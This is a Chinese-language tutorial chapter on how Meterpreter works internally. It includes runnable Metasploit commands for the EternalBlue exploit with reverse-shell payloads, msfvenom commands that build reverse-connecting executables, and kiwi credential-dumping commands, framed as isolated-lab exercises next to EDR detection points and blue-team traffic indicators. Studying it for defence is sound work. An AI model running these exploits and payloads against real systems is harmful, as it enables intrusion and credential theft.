4.1 Meterpreter 核心原理

4.1 Meterpreter 核心原理

本节摘要：SOURCE 4.1：Reflective DLL Injection 在内存自加载，无磁盘落地；C/S 架构，通信 AES 加密，支持 TCP/HTTP/SMB 隧道。

实验情境：与普通 shell 对比

shell payload 触发 cmd.exe 进程，易被杀软盯上；meterpreter 注入现有进程，SOURCE 称「无文件攻击」标配。先做一个对比实验：

# 场景 A：shell payload——目标上会出现 cmd.exe 子进程
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/reverse_tcp
set LHOST 192.168.56.1
run
sessions -i 1
# 在目标侧观察：新增 cmd.exe 进程，且伴随管道子进程

# 场景 B：meterpreter payload——注入已存在进程，无新文件
sessions -K
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.1
run
meterpreter > getpid
# 显示注入目标的 PID；该进程在攻击前就已存在
meterpreter > ps | grep -i explorer
​

实验结论：Meterpreter 不产生独立可执行文件，驻留进程早已在系统里运行。这也是它被称为"内存中的幽灵"的原因。

反射式 DLL 注入：自己当加载器

传统 DLL 注入依赖 LoadLibrary API，该函数会按系统规范在磁盘查找 DLL 并留下加载记录。Meterpreter 采用更激进的方式——它自己充当加载器：

加载器在内存中手动完成系统加载器的工作：分配内存 → 写入 DLL 镜像 → 解析 PE 头与节区 → 遍历重定位表修正绝对地址 → 解析导入表（手动查找 kernel32/ntdll 基址与函数导出地址）→ 跳转 DllMain。全程通过 VirtualAlloc、GetProcAddress 等底层 API 完成，对操作系统而言这只是一块数据内存，而非一个正在运行的程序。

# 伪代码示意：反射加载的核心步骤（教学理解用，非真实实现）
def reflective_load(process, dll_bytes):
    base = VirtualAlloc(process, len(dll_bytes))   # 1. 分配内存
    WriteProcessMemory(process, base, dll_bytes)   # 2. 写入 DLL 镜像
    parse_pe(dll_bytes)                            # 3. 解析 PE 头/节区
    fix_relocations(base)                          # 4. 重定位表修正
    resolve_imports(base)                          # 5. 手动解析导入表
    call_dllmain(base)                             # 6. 执行入口
​

TLV 协议：结构化通信总线

Meterpreter 采用 Type-Length-Value 协议，每条指令/响应都是标准三元组：Type 标识含义（如 core_channel_open）、Length 声明数据长度、Value 承载实际内容。相比纯文本 shell，TLV 支持嵌套结构、二进制数据与异步响应。

Meterpreter 数据包逻辑结构
┌─────────────┬──────────────┬──────────────┐
│ Type        │ Length       │ Value        │
│ core_xxx    │ 4 字节       │ 实际参数     │
│ 命令 ID     │ 数据长度     │ 字符串/二进制│
└─────────────┴──────────────┴──────────────┘
​

通信前会根据配置对整个载荷加密（如 AES），使 IDS 难以通过特征匹配识别指令内容。协议即加密，通道即隐蔽。

传输层：多协议生存术

Meterpreter 把"传输"做成可插拔模块，运行时可在协议间切换：

# 三种常见载荷对比（隔离 lab 观察）
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o a.exe
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.56.1 LPORT=443 -f exe -o b.exe
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o c.exe
# a: staged + tcp；b: staged + https；c: stageless + tcp
​

动态迁移能力让会话很难被彻底清除：TCP 被阻断时可以切换到 HTTPS 通道或新回连地址，无需重启会话。

微内核与扩展

Meterpreter 核心保持极简：只做内存管理、进程注入、通道管理、路由调度。具体功能（文件、注册表、截屏、哈希转储）全部通过扩展按需加载——这就是为什么初始载荷可以很小。load 命令加载扩展后，新命令 ID 注册进调度表：

meterpreter > load kiwi
# Loading extension kiwi...
#  Success.
meterpreter > help
# Kiwi Commands: creds_msv  creds_kerberos  lsass_export ...
​

meterpreter > load stdapi
meterpreter > load priv
# stdapi：文件/进程/网络/注册表基础能力
# priv：提权（getsystem）相关能力
​

通道抽象

数据流（标准 I/O、文件流、TCP 转发流）统一抽象为"通道"，每个通道有唯一 ID，通过 TLV 包寻址。这使 Meterpreter 能轻松实现 portfwd、SOCKS 代理等网络操控，把受害主机变成内网跳板。

⚠️ 防御视角：监控 VirtualAlloc + 无文件模块是 EDR 规则来源。VirtualAlloc 申请可执行内存、远程线程创建、LSASS 异常访问都是高价值告警。

💡 关键直觉：Meterpreter 是「内存里的微型 OS」，不是简单 cmd。理解它 = 理解现代恶意软件的运作范式。

重点提炼

• 反射加载绕过磁盘扫描，不依赖系统加载器
• 协议可改 HTTP 混在 Web 流量，AES 加密对抗特征检测
• 微内核 + 按需扩展，初始体积小、功能随取随用
• 授权 lab 外禁止对生产做注入实验

实践观察：如何确认"无文件"

在隔离 lab 里，可以设计实验验证 Meterpreter 的无文件特性：

# 利用前记录目标侧状态
# （在靶机侧）列出可疑新文件与进程
# dir C:\Windows\Temp\
# tasklist | findstr /i "cmd powershell notepad"

# 利用后再次对比
sessions -i 1
sysinfo
ps
# 对比两次结果：无新增文件，无新增可疑进程
# Meterpreter 所在 PID 对应的是既有的 explorer/svchost
​

# 防御侧的"无文件"检测点
1. VirtualAlloc 申请 RWX 内存（可疑的读写执行权限组合）
2. CreateRemoteThread 远程线程注入
3. 无对应磁盘文件的已加载模块
4. 内存中解密/解压行为（扩展按需加载）
​

这些检测点就是 EDR 厂商从 Meterpreter 机制里提取的规则来源。理解注入原理，才能解释为什么"杀软扫不到但 EDR 能拦"。

协议即加密：对抗特征检测

Meterpreter 的 TLV 载荷在传输前加密，但加密本身不是全部——它在 HTTP/HTTPS 通道里还会精心构造 User-Agent、Referer 等头部字段，让流量看起来与普通网页浏览一致。结合 TLS 加密，DPI 设备既看不到内容，也难以凭请求模式判断异常。这种"把 C2 流量藏进合法业务流量"的思路，是 4.1 章最值得防御者记住的部分。

# 蓝队观察点：即使加密，也存在可建模特征
1. 非常规的请求节奏（周期性心跳）
2. 大量 POST 请求且响应体积异常
3. 长连接 + 高流量内网转发
4. 与正常员工行为不符的时段活跃
​

行为建模而不是内容匹配，是检测这类通道的现实路径。